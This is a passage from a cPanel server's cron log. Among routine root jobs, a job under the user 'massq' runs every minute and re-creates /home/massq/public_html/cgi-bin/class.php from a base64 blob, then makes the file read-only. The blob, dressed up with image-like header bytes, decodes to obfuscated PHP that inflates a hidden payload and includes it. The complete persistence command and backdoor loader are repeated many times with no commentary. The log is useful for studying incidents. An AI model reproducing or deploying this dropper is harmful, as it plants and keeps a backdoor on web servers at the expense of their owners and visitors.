QVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:39:01 server CROND[21702]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 16:40:01 server CROND[21757]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:40:01 server CROND[21759]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:40:01 server CROND[21760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:40:01 server CROND[21761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 16:41:01 server CROND[21879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:42:01 server CROND[21952]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 16:42:01 server CROND[21953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:43:01 server CROND[22107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:44:01 server CROND[22162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:45:01 server CROND[22238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:45:01 server CROND[22240]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:45:01 server CROND[22239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:46:01 server CROND[22344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:47:01 server CROND[22412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:48:01 server CROND[22576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:49:01 server CROND[22635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:50:01 server CROND[22702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 16:50:01 server CROND[22704]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 16:50:01 server CROND[22705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 16:50:01 server CROND[22706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 16:50:01 server CROND[22707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:51:01 server CROND[22844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:52:01 server CROND[22922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 16:53:01 server CROND[23091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 